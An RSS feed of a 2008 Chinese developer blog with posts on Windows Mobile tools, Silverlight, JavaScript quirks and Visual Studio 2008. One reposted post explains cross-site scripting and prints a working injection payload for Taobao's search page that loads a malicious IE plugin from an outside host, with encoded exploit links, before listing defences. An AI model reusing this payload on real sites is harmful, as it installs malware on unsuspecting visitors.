﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>博客园-Jamebo</title><link>http://www.cnblogs.com/LoveShrek/</link><description /><language>zh-cn</language><lastBuildDate>Fri, 05 Dec 2008 16:10:26 GMT</lastBuildDate><pubDate>Fri, 05 Dec 2008 16:10:26 GMT</pubDate><ttl>60</ttl><item><title>免费的Windows Mobile远程遥控软件(可以截屏，遥控等)</title><link>http://www.cnblogs.com/LoveShrek/archive/2008/04/30/1177779.html</link><dc:creator>Jamebo</dc:creator><author>Jamebo</author><pubDate>Wed, 30 Apr 2008 07:38:00 GMT</pubDate><guid>http://www.cnblogs.com/LoveShrek/archive/2008/04/30/1177779.html</guid><wfw:comment>http://www.cnblogs.com/LoveShrek/comments/1177779.html</wfw:comment><comments>http://www.cnblogs.com/LoveShrek/archive/2008/04/30/1177779.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/LoveShrek/comments/commentRss/1177779.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/LoveShrek/services/trackbacks/1177779.html</trackback:ping><description><![CDATA[<p>从MSDN的Blog看到的：</p>
<p>http://blogs.msdn.com/rohant/archive/2008/04/30/free-windows-mobile-remote-control-software-and-screen-capture-tool.aspx</p>
<p>免费的Windows Mobile远程遥控软件, 试了一下确实不错。<br />
</p>
<ul>
    <li>View your mobile screen on your desktop.  </li>
    <li>Control your mobile by using desktop keyboard and mouse.  </li>
    <li>Copy/Cut/Paste text between mobile and desktop.  </li>
    <li>Capture mobile screen.  </li>
    <li>Drag and drop files to your mobile.  </li>
    <li>Support ActiveSync / IP Connection  </li>
    <li>Support Mobile Explorer (File Browse) </li>
</ul>
<p>可以从这里下载</p>
<p><a title="http://www.mymobiler.com/" href="http://www.mymobiler.com/">http://www.mymobiler.com/</a></p>
<p><a href="http://www.cnblogs.com/images/cnblogs_com/LoveShrek/WindowsLiveWriter/WindowsMobile_DBA4/image_2.png"><img style="border-width: 0px;" alt="image" src="http://www.cnblogs.com/images/cnblogs_com/LoveShrek/WindowsLiveWriter/WindowsMobile_DBA4/image_thumb.png" border="0" height="244" width="153" /></a></p>
<img src ="http://www.cnblogs.com/LoveShrek/aggbug/1177779.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/43812/" target="_blank">[新闻]Google操作系统已开始内部测试？</a><br/><a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻频道</a>&nbsp;<a href="http://space.cnblogs.com/group.htm" target="_blank">小组</a>&nbsp;<a href="http://space.cnblogs.com/q" target="_blank">博问</a>&nbsp;<a href="http://wz.cnblogs.com/" target="_blank">网摘</a>&nbsp;<a href="http://space.cnblogs.com/ing" target="_blank">闪存</a>]]></description></item><item><title>建议能在园子里面发布Silverlight2.0应用</title><link>http://www.cnblogs.com/LoveShrek/archive/2008/03/06/1093251.html</link><dc:creator>Jamebo</dc:creator><author>Jamebo</author><pubDate>Thu, 06 Mar 2008 03:22:00 GMT</pubDate><guid>http://www.cnblogs.com/LoveShrek/archive/2008/03/06/1093251.html</guid><wfw:comment>http://www.cnblogs.com/LoveShrek/comments/1093251.html</wfw:comment><comments>http://www.cnblogs.com/LoveShrek/archive/2008/03/06/1093251.html#Feedback</comments><slash:comments>10</slash:comments><wfw:commentRss>http://www.cnblogs.com/LoveShrek/comments/commentRss/1093251.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/LoveShrek/services/trackbacks/1093251.html</trackback:ping><description><![CDATA[Silverlight 2.0 Beta 1 今天发布了。<br />
从 ScottGu的教程中我们知道，Silverlight的发布非常简单，只需要一个.xap文件，然后在HTML中嵌入相关的Tag即可。<br />
<em>要宿主和运行一个Silverlight 2 应用，你可以把&lt;object&gt;标签加到任何标准的HTML页面中（不需要
JavaScript ）并将其指向 .xap 文件。Silverlight然后就会自动下载这个.xap
文件，生成实例，将其宿主于浏览器中的HTML网页中。这是跨浏览器（Safari, FireFox, IE等），跨平台（Windows,
Mac, and Linux）工作的。<br />
</em>这里，我有一个建议给Dudu。<br />
可否让博客园允许上传.XAP文件？（当然每个人的空间限制还是原来那么大）。<br />
并且可以在自己的博客中嵌入这个.XAP?<br />
这样，就可以在自己的博客中加入Silverlight 2.0的应用了，一是为了大家共同学习，二是为了推广Silverlight 2.0技术。<br />
个人建议，请参考。<br />
<br />
（暂时放在首页，以了解大家的意见:)）<br />
<br />
<img src ="http://www.cnblogs.com/LoveShrek/aggbug/1093251.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/43811/" target="_blank">[新闻]Google阅读器界面升级 全新改版</a><br/><a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻频道</a>&nbsp;<a href="http://space.cnblogs.com/group.htm" target="_blank">小组</a>&nbsp;<a href="http://space.cnblogs.com/q" target="_blank">博问</a>&nbsp;<a href="http://wz.cnblogs.com/" target="_blank">网摘</a>&nbsp;<a href="http://space.cnblogs.com/ing" target="_blank">闪存</a>]]></description></item><item><title>使用JavaScript创建Table时，用cellSpacing而不是cellspacing</title><link>http://www.cnblogs.com/LoveShrek/archive/2008/02/05/1065033.html</link><dc:creator>Jamebo</dc:creator><author>Jamebo</author><pubDate>Tue, 05 Feb 2008 09:41:00 GMT</pubDate><guid>http://www.cnblogs.com/LoveShrek/archive/2008/02/05/1065033.html</guid><wfw:comment>http://www.cnblogs.com/LoveShrek/comments/1065033.html</wfw:comment><comments>http://www.cnblogs.com/LoveShrek/archive/2008/02/05/1065033.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnblogs.com/LoveShrek/comments/commentRss/1065033.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/LoveShrek/services/trackbacks/1065033.html</trackback:ping><description><![CDATA[<p>今天遇到一个问题，我试图使用javascript创建一个Table,希望生成的HTML如下</p>
<pre>&lt;table cellpadding="0px" cellspacing="0px" &gt;</pre>
<pre> ...</pre>
<pre>&lt;/table&gt;</pre>
<pre>我使用了如下代码：</pre>
<p>var _tableRoot = document.createElement("table");<br />
_tableRoot.setAttribute("cellspacing", "0");<br />
_tableRoot.setAttribute("cellpadding", "0");<br />
</p>
<p>IE和FireFox生成的HTML都是如上所示，按理说就应该出现我想要的效果。但是实际上，在IE中cellspacing和cellpadding都不起作用。
</p>
<p>最后终于找到一个解决方案（Google后发现已经有同样的案例）：
</p>
<p>使用 cell<strong>S</strong>pacing 而不是 cellspacing
</p>
<p>使用 cell<strong>P</strong>adding 而不是 cellpadding
</p>
<p>即：
</p>
<p>_tableRoot.setAttribute("cellSpacing", "0");<br />
_tableRoot.setAttribute("cellPadding", "0");
</p>
<img src ="http://www.cnblogs.com/LoveShrek/aggbug/1065033.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/43810/" target="_blank">[新闻]微软官方下载：Windows Vista SP2 Beta测试版</a><br/><a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻频道</a>&nbsp;<a href="http://space.cnblogs.com/group.htm" target="_blank">小组</a>&nbsp;<a href="http://space.cnblogs.com/q" target="_blank">博问</a>&nbsp;<a href="http://wz.cnblogs.com/" target="_blank">网摘</a>&nbsp;<a href="http://space.cnblogs.com/ing" target="_blank">闪存</a>]]></description></item><item><title> 跨站点脚本攻击的防范(ZT)</title><link>http://www.cnblogs.com/LoveShrek/archive/2008/01/23/1049603.html</link><dc:creator>Jamebo</dc:creator><author>Jamebo</author><pubDate>Wed, 23 Jan 2008 01:49:00 GMT</pubDate><guid>http://www.cnblogs.com/LoveShrek/archive/2008/01/23/1049603.html</guid><wfw:comment>http://www.cnblogs.com/LoveShrek/comments/1049603.html</wfw:comment><comments>http://www.cnblogs.com/LoveShrek/archive/2008/01/23/1049603.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.cnblogs.com/LoveShrek/comments/commentRss/1049603.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/LoveShrek/services/trackbacks/1049603.html</trackback:ping><description><![CDATA[<span id="fontzoom">转帖自朋友的Blog：<br />
<a href="http://www.zhangsichu.com/blogview.asp?Content_Id=104">http://www.zhangsichu.com/blogview.asp?Content_Id=104</a><br />
<br />
跨站点脚本攻击在Web开发中是个非常敏感的安全问题。<br />
跨站点脚本攻击(XSS)FAQ 这篇文章 <a target="_blank" href="http://tech.idv2.com/2006/08/30/xss-faq/">http://tech.idv2.com/2006/08/30/xss-faq/</a> 讲述了跨站点脚本攻击的常见情况。<br />
<br />
下面摘引自原文部分章节：<br />
<br />
------------------------------------------------------------------------<br />
什么是跨站脚本攻击？<br />
跨
站脚本攻击（也称为XSS）指利用网站漏洞从用户那里恶意盗取信息。用户在浏览网站、使用即时通讯软件、甚至在阅读电子邮件时，通常会点击其中的链接。攻
击者通过在链接中插入恶意代码，就能够盗取用户信息。攻击者通常会用十六进制（或其他编码方式）将链接编码，以免用户怀疑它的合法性。网站在接收到包含恶
意代码的请求之后会产成一个包含恶意代码的页面，而这个页面看起来就像是那个网站应当生成的合法页面一样。许多流行的留言本和论坛程序允许用户发表包含
HTML和javascript的帖子。假设用户甲发表了一篇包含恶意脚本的帖子，那么用户乙在浏览这篇帖子时，恶意脚本就会执行，盗取用户乙的
session信息。有关攻击方法的详细情况将在下面阐述。<br />
<br />
XSS和CSS是什么意思？<br />
人们经常将跨站脚本攻击(Cross
Site Scripting)缩写为CSS，但这会与层叠样式表(Cascading Style Sheets,
CSS)的缩写混淆。因此有人将跨站脚本攻击缩写为XSS。如果你听到有人说 "我发现了一个XSS漏洞"，显然他是在说跨站脚本攻击。<br />
跨站脚本攻击有什么危害？<br />
<br />
为
了搜集用户信息，攻击者通常会在有漏洞的程序中插入 JavaScript、VBScript、
ActiveX或Flash以欺骗用户（详见下文）。一旦得手，他们可以盗取用户帐户，修改用户设置，盗取/污染cookie，做虚假广告等。每天都有大
量的XSS攻击的恶意代码出现。 Brett Moore的下面这篇文章详细地阐述了"拒绝服务攻击"以及用户仅仅阅读一篇文章就会受到的"自动攻击"。<br />
&#8230;<br />
------------------------------------------------------------------------<br />
<br />
在这篇文章中讲述了跨站点攻击窃取他人Cookie，伪装他人登录的细节。<br />
当
前的跨站点脚本攻击已经发展到了一个非常妖魔化的地步，不再只局限于窃取他人的Cookie。更加恶毒的跨站点脚本攻击会让访问者中恶意插件，中木马。一
般的跨站点脚本攻击会利用漏洞执行document.write。写入一段javascript，让浏览器执行。现在部分站点屏蔽了
document.write或者把用户可能注入的脚本放在一个display=none的Div中，让注入攻击失败。当前又发现了用innerHTML
的方式注入可见Div，实现跨站点脚本攻击的方式。<br />
<br />
跨站点脚本攻击+html注入嵌入恶意插件<br />
下面是利用淘宝网的脚本漏洞，编写的跨站点脚本攻击代码：<br />
<br />
注入代码的原型：<br />
<br />
<table border="0" cellpadding="0" cellspacing="1" width="97%">
    <tbody>
        <tr>
            <td>&lt;script type="text/javascript"&gt;<br />
            window.onload = function(){<br />
            document.getElementById("QuickLinks").innerHTML = <br />
            "&lt;object
            classid=clsid:56A7DC70-E102-4408-A34A-AE06FEF01586
            CODEBASE=http://iebar.t2t2.com/iebar.cab#Version=1,1,0,0&gt;&lt;/object&gt;";<br />
            }&lt;/script&gt;<br />
            </td>
        </tr>
    </tbody>
</table>
<br />
<br />
<a target="_blank" href="http://iebar.t2t2.com/iebar.cab">http://iebar.t2t2.com/iebar.cab</a> 这个恶意IE弹框插件是在<strong><a target="_blank" href="http://www.zhangsichu.com/blogview.asp?Content_Id=73">《一段Script引发的"冤案"》</a></strong>中发现的恶意插件。由于没有找到一个合适的IE插件.cab文件做测试，所以拿这个来做跨站点脚本攻击嵌入恶意插件的测试。<br />
<br />
通过淘宝网Search时没有过滤用户输入，存在的脚本漏洞生成的link.<br />
<br />
<table border="0" cellpadding="0" cellspacing="1" width="97%">
    <tbody>
        <tr>
            <td><a target="_blank" href="http://search1.taobao.com/browse/0/t-95-----------------g,hrzwg4tjob2ca5dzobst2itumv4">http://search1.taobao.com/browse/0/t-95-----------------g,hrzwg4tjob2ca5dzobst2itumv4</a>hil3kmf<br />
            3gc43dojuxa5bchz3ws3ten53s433onrxwczbahuqgm5lomn2gs33ofauxwzdpmn2w2zlooqxgozluiv<br />
            wgk3lfnz2ee6kjmquceulvnfrwwtdjnzvxgirjfzuw43tfojefitkmea6sair4n5rguzldoqqgg3dbonzwszb5<br />
            e5rwy43jmq5dknsbg5cegnzqfvctcmbsfu2dimbyfvatgncbfvaukmbwizcummbrgu4dmjzainhuirkcifju<br />
            kpjhnb2hi4b2f4xwszlcmfzc45bsoqzc4y3pnuxwszlcmfzc4y3bmirvmzlsonuw63r5gewdclbqfqycopr4f5<br />
            xwe2tfmn2d4ir3pu6c643dojuxa5b6----------------40--commend-0-all-0.htm?at_topsearch=1<br />
            </td>
        </tr>
    </tbody>
</table>
<br />
<br />
由于链接过长在FF下显示会很难看，这里截断了链接。如果要访问这个链接，需要先把它黏贴到记事本里，去掉其中的回车，然后访问才可以看到注入效果。<br />
<strong><font color="Red">访问这个link可能会让您的机器中iebar这个恶意插件</font></strong><br />
<br />
访问link后如下图(使用IE访问可以看到明显的效果)：<br />
<br />
<a href="http://www.zhangsichu.com/attachments/month_200801/22_212325_07zdxss1.gif" target="_blank"><img src="http://www.zhangsichu.com/attachments/month_200801/22_212325_07zdxss1.gif" onload="javascript:if(this.width  alt="" />screen.width-300)this.width=screen.width-300" alt="Click to Open in New Window" border="0"></a><br />
<br />
红框中的那个东东就是恶意插件了。<br />
<br />
下面的注入是一个安全的注入测试，没有危害。<br />
<br />
<table border="0" cellpadding="0" cellspacing="1" width="97%">
    <tbody>
        <tr>
            <td><a target="_blank" href="http://search1.taobao.com/browse/0/t-95-----------------g,hrzwg4tjob2ca5dzobst2itumv4">http://search1.taobao.com/browse/0/t-95-----------------g,hrzwg4tjob2ca5dzobst2itumv4</a><br />
            hil3kmf3gc43dojuxa5bchz3ws3ten53s433onrxwczbahuqgm5lomn2gs33ofauxwzdpmn2w<br />
            2zlooqxgozluivwgk3lfnz2ee6kjmquceulvnfrwwtdjnzvxgirjfzuw43tfojefitkmea6sair4nfwwoi<br />
            dtojrt2j3ior2haorpf55gqylom5zwsy3iouxgg33nf5uw2ylhmvzs6ytmn5twy33hn4xgu4dhe4<br />
            qc6prchn6tyl3tmnzgs4duhy----------------40--commend-0-all-0.htm?at_topsearch=1<br />
            </td>
        </tr>
    </tbody>
</table>
<br />
<br />
如下图(注入图片)<br />
<br />
<a href="http://www.zhangsichu.com/attachments/month_200801/22_212351_nkcqxss2.gif" target="_blank"><img src="http://www.zhangsichu.com/attachments/month_200801/22_212351_nkcqxss2.gif" onload="javascript:if(this.width  alt="" />screen.width-300)this.width=screen.width-300" alt="Click to Open in New Window" border="0"></a><br />
<br />
跨站点脚本攻击是一个十分危险的攻击手段，会让你的Web产品蒙受不白之冤。恶意的Link链接是从你的站点里出来的，一般的用户完全会认为是你的站点里带了恶意的插件，使恶意插件深深的隐藏了起来。<br />
<br />
<strong><br />
防范跨站点脚本攻击的办法：<br />
1.设置白名单，只认为在白名单中的字符才是合法的字符，当用户输入的字符在白名单之外，全部过滤。如使用正则表达式过滤。<br />
2.输出时HtmlEncode。<br />
3.Asp.Net中在可能潜在攻击的页面中开启Validate Request。<br />
4.对所有的html属性添加双引号，闭合属性。<br />
5.IE中使用 HttpOnly Cookie。<br />
6.IE的Frame中加 Frame Security属性。<br />
7.使用XSSDetect做检查, XSSDetect是MS集成在VS2005中的XSS检查工具非常好用。</strong></span>
<img src ="http://www.cnblogs.com/LoveShrek/aggbug/1049603.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/43809/" target="_blank">[新闻]微软发布PC Live单机游戏客户端</a><br/><a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻频道</a>&nbsp;<a href="http://space.cnblogs.com/group.htm" target="_blank">小组</a>&nbsp;<a href="http://space.cnblogs.com/q" target="_blank">博问</a>&nbsp;<a href="http://wz.cnblogs.com/" target="_blank">网摘</a>&nbsp;<a href="http://space.cnblogs.com/ing" target="_blank">闪存</a>]]></description></item><item><title>XHTML中需要书写独立的封闭Script标签</title><link>http://www.cnblogs.com/LoveShrek/archive/2008/01/10/1033840.html</link><dc:creator>Jamebo</dc:creator><author>Jamebo</author><pubDate>Thu, 10 Jan 2008 08:19:00 GMT</pubDate><guid>http://www.cnblogs.com/LoveShrek/archive/2008/01/10/1033840.html</guid><wfw:comment>http://www.cnblogs.com/LoveShrek/comments/1033840.html</wfw:comment><comments>http://www.cnblogs.com/LoveShrek/archive/2008/01/10/1033840.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/LoveShrek/comments/commentRss/1033840.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/LoveShrek/services/trackbacks/1033840.html</trackback:ping><description><![CDATA[<font face="Verdana">
<p><font face="Verdana">今天在学习JavaScript时，遇到一个问题：</font></p>
<p><font face="Verdana">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;<br />
&lt;html xmlns="http://www.w3.org/1999/xhtml" &gt;<br />
&lt;head&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;title&gt;Javascript Study&lt;/title&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;script type="text/javascript" src="test.js" /&gt;<br />
&lt;/head&gt;<br />
&lt;body onload="load()"&gt;</font></p>
<p><font face="Verdana">&lt;/body&gt;<br />
&lt;/html&gt;</font></p>
<p><font face="Verdana">&nbsp;</font><font face="Verdana">上面的load()函数在FF下没有问题，但是在IE下不能成功。Google了一下，有文章描述：</font></p>
<p><font face="Verdana">&nbsp;<br />
<a href="http://www.javaddicts.net/blog/index.php/2006/09/19/external-javascript-files-and-script-tags/">http://www.javaddicts.net/blog/index.php/2006/09/19/external-javascript-files-and-script-tags/</a><br />
&nbsp;</font></p>
<p><font face="Verdana">I spent half of the day hunting down a nice issue related to external JavaScript files and a group of &lt;script&gt; tags with both external and inline-declared JavaScript. The problem and its solution is just so plain dumb that I just had to post it.</font></p>
<p><font face="Verdana">I had a JavaScript block that declared some global variables. That block just didn&#8217;t get parsed in Internet Explorer and Firefox, but worked just fine in Safari. Before the block two external JavaScript files were included, like this:</font></p>
<p><font face="Verdana">&lt;script type="text/javascript" src="foo.js"/&gt;<br />
&lt;script type="text/javascript" src="bar.js"/&gt;<br />
&lt;script type="text/javascript"&gt;<br />
&nbsp;&nbsp;&nbsp; var myVar = "something";<br />
&lt;/script&gt;</font></p>
<p><font face="Verdana">The block containing the variable declaration never got executed. The reason? Both Firefox and Internet Explorer went straight ahead and parsed the stuff until the ending &lt;/script&gt; and because of the fact that &lt;script type="text/javascript"&gt; isn&#8217;t really valid JavaScript code, both couldn&#8217;t parse the real stuff, i.e. the variable declaration. Neat, no? So to keep it real, you gotta write the following:</font></p>
<p><font face="Verdana">&lt;script type="text/javascript" src="foo.js"&gt;&lt;/script&gt;<br />
&lt;script type="text/javascript" src="bar.js"&gt;&lt;/script&gt;<br />
&lt;script type="text/javascript"&gt;<br />
&nbsp;&nbsp;&nbsp; var myVar = "something";<br />
&lt;/script&gt;</font></p>
<p><font face="Verdana">As an experiment I tried declaring the HTML as being XHTML, but even that didn&#8217;t help. Or maybe I have been staring at this code for too long.<br />
</font></p>
<p><font face="Verdana">另外一篇safari的文章也挺有意思:<br />
&nbsp;<a href="http://webkit.org/blog/68/understanding-html-xml-and-xhtml/">http://webkit.org/blog/68/understanding-html-xml-and-xhtml/</a></font></p>
</font>
<img src ="http://www.cnblogs.com/LoveShrek/aggbug/1033840.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/43808/" target="_blank">[新闻]Firefox遭“独家”恶意软件攻击</a><br/><a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻频道</a>&nbsp;<a href="http://space.cnblogs.com/group.htm" target="_blank">小组</a>&nbsp;<a href="http://space.cnblogs.com/q" target="_blank">博问</a>&nbsp;<a href="http://wz.cnblogs.com/" target="_blank">网摘</a>&nbsp;<a href="http://space.cnblogs.com/ing" target="_blank">闪存</a>]]></description></item><item><title>微软发布了Office Mobile6.1， 支持Office 2007格式(For WM5 和 WM6)</title><link>http://www.cnblogs.com/LoveShrek/archive/2007/12/03/981646.html</link><dc:creator>Jamebo</dc:creator><author>Jamebo</author><pubDate>Mon, 03 Dec 2007 15:10:00 GMT</pubDate><guid>http://www.cnblogs.com/LoveShrek/archive/2007/12/03/981646.html</guid><wfw:comment>http://www.cnblogs.com/LoveShrek/comments/981646.html</wfw:comment><comments>http://www.cnblogs.com/LoveShrek/archive/2007/12/03/981646.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/LoveShrek/comments/commentRss/981646.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/LoveShrek/services/trackbacks/981646.html</trackback:ping><description><![CDATA[微软发布了Office Mobile6.1， 支持Office 2007格式 (For WM5 and WM6)<br />
可以从这里下载<br />
<a href="http://www.microsoft.com/windowsmobile/software/officedownload.mspx" target="_blank">http://www.microsoft.com/windowsmobile/software/officedownload.mspx</a><br />
<br />
<span>Microsoft Office 2007 为 Office 应用程序引入了基于 Open XML 的全新文件格式。这些新的文件格式减小了文件大小、提高了安全性和可靠性，并增强了文件与外部源相集成的能力。<br />
<br />
为方便 Windows Mobile 用户使用以 Open XML 格式创建的 Office 文档，Microsoft 开发了针对 Word
Mobile、Excel Mobile 以及 PowerPoint Mobile 应用程序的升级。这是针对 Office Mobile
应用程序的升级，通过该升级，可以查看使用 Microsoft Office 2007 创建的 Word 文档、Excel 工作簿和
PowerPoint 幻灯片，并可对前两种文件格式进行编辑。<br />
<br />
其他改进之处包括：<br />
&#8226;	增强了在 Excel Mobile 中查看图表的体验。<br />
&#8226;	能够在 PowerPoint Mobile 中查看 SmartArt。<br />
&#8226;	能够从压缩 (.zip) 文件夹中查看和提取文件。<br />
<br />
Microsoft Office Mobile 6.1 的完整版本支持 Microsoft Office 2007 文件格式<br />
如果您的 Windows Mobile 设备未安装 Microsoft Office Mobile 6.1 以前的版本，则可以购买 Microsoft Office Mobile 的完整版本。 <br />
<br />
Office Mobile 应用程序套件包括针对 Windows Mobile 6 设备的 Microsoft Office Word
Mobile、Excel Mobile 和 Microsoft Office PowerPoint&#174;
Mobile，可帮助用户管理和查看文档。Microsoft Office Mobile
包括丰富的查看功能以及有限的编辑功能，并支持受限管理文档。<br />
<br />
Office Mobile 启用的主要用户方案可查看电子邮件附件、执行有限的编辑、共享文档版本，并可从 SD 卡或 SharePoint 服务器打开文档。Office Mobile 可提供高保真的文档查看体验，并可提供编辑以及快速加载文档首页的功能。<br />
</span><br />
<br />
<br />
<img src ="http://www.cnblogs.com/LoveShrek/aggbug/981646.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/43806/" target="_blank">[新闻]Python 3.0正式发布</a><br/><a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻频道</a>&nbsp;<a href="http://space.cnblogs.com/group.htm" target="_blank">小组</a>&nbsp;<a href="http://space.cnblogs.com/q" target="_blank">博问</a>&nbsp;<a href="http://wz.cnblogs.com/" target="_blank">网摘</a>&nbsp;<a href="http://space.cnblogs.com/ing" target="_blank">闪存</a>]]></description></item><item><title>Top 10 things to know about Visual Studio 2008 and .NET Framework 3.5(ZT)</title><link>http://www.cnblogs.com/LoveShrek/archive/2007/11/19/964464.html</link><dc:creator>Jamebo</dc:creator><author>Jamebo</author><pubDate>Mon, 19 Nov 2007 08:47:00 GMT</pubDate><guid>http://www.cnblogs.com/LoveShrek/archive/2007/11/19/964464.html</guid><wfw:comment>http://www.cnblogs.com/LoveShrek/comments/964464.html</wfw:comment><comments>http://www.cnblogs.com/LoveShrek/archive/2007/11/19/964464.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/LoveShrek/comments/commentRss/964464.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/LoveShrek/services/trackbacks/964464.html</trackback:ping><description><![CDATA[<h2>
<div class="itemTitle"><a href="http://www.danielmoth.com/Blog/2007/11/top-10-things-to-know-about-visual.html" title="Top 10 things to know about Visual Studio 2008 and .NET Framework 3.5 (permalink)">Top 10 things to know about Visual Studio 2008 and .NET Framework 3.5</a><br />
<br />
http://www.danielmoth.com/Blog/2007/11/top-10-things-to-know-about-visual.html<br />
<br />
</div>
</h2>
The list below is not in order of importance, instead it is in the order I suggest you explore this new release.<br />
<br />
1. VS2008 and Fx 3.5 will officially launch together in February but <strong>will be available to developers by the end of November 2007</strong>. The same type of <a href="http://www.danielmoth.com/Blog/2007/08/vs-2008-skus.html">Visual Studio SKUs/Editions</a> available with VS2005 will also be available with VS2008 including a brand new one: VS2008 Shell. VS 2008 is a <a href="http://channel9.msdn.com/ShowPost.aspx?PostID=334331">great Vista client, has better aesthetics and a bunch of new usability features</a> including <a href="http://channel9.msdn.com/ShowPost.aspx?PostID=343887">enhancements for multithreaded debugging</a>.<br />
<br />
2. <strong>Fx 3.5 continues with the additive approach</strong>
that we introduced with Fx 3.0 while still not introducing a new CLR.
As a reminder, Fx 3.0 simply added to Fx 2.0 without changing or
removing anything in the existing assemblies (it added WPF, WCF, WF and
CardSpace). So, <a href="http://channel9.msdn.com/ShowPost.aspx?PostID=333940">Fx 3.5 simply adds some assemblies</a>
to the existing set of DLLs that Fx 2.0/3.0 comprises of. This means
that simply installing the framework should not affect your existing
solutions. Note however that Fx 3.5 depends on Fx 2.0 SP1 and Fx 3.0
SP1, which will ship at the same time.<br />
<br />
3. VS2008 has a new simple yet powerful feature: <a href="http://channel9.msdn.com/ShowPost.aspx?PostID=333938">multitargeting</a>.
The ability to create projects targeting different .NET Framework
versions (2.0, 3.0 and 3.5). This means that even though VS2008 can be
installed side by side with VS2005, you do not need VS2005 any longer
since VS2008 offers a superset of the functionality.<br />
<br />
4. There are many new <strong>C# 3.0 and VB9 language</strong> features (inc. <a href="http://www.danielmoth.com/Blog/2007/03/automatic-properties-in-c3.html">automatic properties</a>, <a href="http://www.danielmoth.com/Blog/2007/08/relaxed-delegates.html">relaxed delegates</a>, <a href="http://www.danielmoth.com/Blog/2007/02/object-initializers-in-c-30-and-vb9.html">object initialisers</a>, <a href="http://www.danielmoth.com/Blog/2007/02/option-infer-in-vb9.html">type inference</a>, <a href="http://www.danielmoth.com/Blog/2007/02/anonymous-types-in-c-30-and-vb9.html">anonymous types</a>, <a href="http://www.danielmoth.com/Blog/2007/02/extension-methods-c-30-and-vb9.html">extension methods</a>, <a href="http://www.danielmoth.com/Blog/2007/02/lambda-expressions-in-vb9.html">lambdas</a> and <a href="http://channel9.msdn.com/ShowPost.aspx?PostID=343893">partial methods</a>).
The compilers emit backward compatible IL, which is to be expected
since there is no new version of the CLR. In plain terms this means
that all the new language features <a href="http://www.danielmoth.com/Blog/2007/05/using-c-30-from-net-20.html">can be used with existing v2.0 projects</a> (due to the multitargeting feature mentioned above)! VB developers also get <a href="http://channel9.msdn.com/ShowPost.aspx?PostID=333930">enhanced intellisense amongst other IDE features</a>.<br />
<br />
5. The headline feature of this release is <strong>LINQ</strong> (Language Integrated Query). <a href="http://channel9.msdn.com/ShowPost.aspx?PostID=323545">LINQ depends largely on the language features that were introduced</a>
and also on bits of the Fx 3.5 (4 assemblies to be precise). LINQ is a
new declarative paradigm for querying data sources in a consistent
manner, regardless of what the data source is: in memory <a href="http://www.danielmoth.com/Blog/2007/02/linq-resources.html">objects</a>, <a href="http://www.danielmoth.com/Blog/2007/05/systemxmllinq.html">XML</a>, <a href="http://www.danielmoth.com/Blog/2007/05/systemdatalinqdll.html">SQL</a>, <a href="http://www.danielmoth.com/Blog/2007/07/linq-to-dataset.html">DataSet</a>
or anything else (because LINQ has been architected to be fully
extensible). The future looks even brighter with efforts such as <a href="http://www.danielmoth.com/Blog/2007/07/parallel-linq.html">PLINQ</a>.<br />
<br />
6. For the <strong>web</strong> developer, ASP.NET AJAX ships out of the box with improvements and <a href="http://www.danielmoth.com/Blog/2007/08/aspnet-35-controls.html">ASP.NET 3.5 includes 3 new controls</a>. There are also enhancements in the IDE that can be used in ASP.NET 2.0 projects too, such as support for <a href="http://channel9.msdn.com/Showpost.aspx?postid=348630">JavaScript intellisense and debugging</a>, a new <a href="http://channel9.msdn.com/ShowPost.aspx?PostID=350111">CSS engine and an HTML designer</a> that supports <a href="http://www.danielmoth.com/Blog/2007/10/support-for-nested-master-pages-in.html">Nested Master Pages</a>.<br />
<br />
